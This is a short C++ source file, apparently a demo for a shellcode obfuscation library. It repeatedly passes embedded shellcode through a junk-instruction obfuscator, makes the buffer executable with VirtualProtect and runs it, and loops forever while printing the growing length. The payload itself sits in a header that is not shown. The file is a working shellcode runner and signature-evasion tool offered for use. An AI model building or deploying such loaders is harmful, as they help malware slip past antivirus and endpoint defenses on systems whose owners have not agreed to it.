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shellcode_obfuscator.cpp

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#include "stdio.h"

#include "windows.h"

#include "tchar.h"

#include "junkAsm.h"

#include <ctime>

#include <cassert>

#include <string>

#include "shellcode-demo.h"

int main() {

printf("Origion Shellcode Length=%d\r\n", sizeof(shellcode));

set_junk_level(junk_level_debug);

int count = 0;

while (true) {

std::string sc((char*)shellcode, sizeof(shellcode));

// 这里设置循环混淆4次，可以任意修改

for (int i = 0; i < 4; i++) {

unsigned char *dst = 0;

int dstLen;

bool ret = junkAsm((unsigned char*)sc.c_str(), sc.length(), &dst, &dstLen);

assert(ret);

sc = std::string((char*)dst, dstLen);

free(dst);

}

DWORD dwOldProtect = 0;

VirtualProtect((LPVOID)sc.c_str(),

(SIZE_T)sc.length(),

PAGE_EXECUTE_READWRITE,

&dwOldProtect);

// Execute it

typedef void(*FUNC)();

FUNC func = (FUNC)(sc.c_str());

func();

printf("Run Times:%d After Obfuscate ShellcodeLength=%d\r\n", count++, sc.length());

}

return 0;

}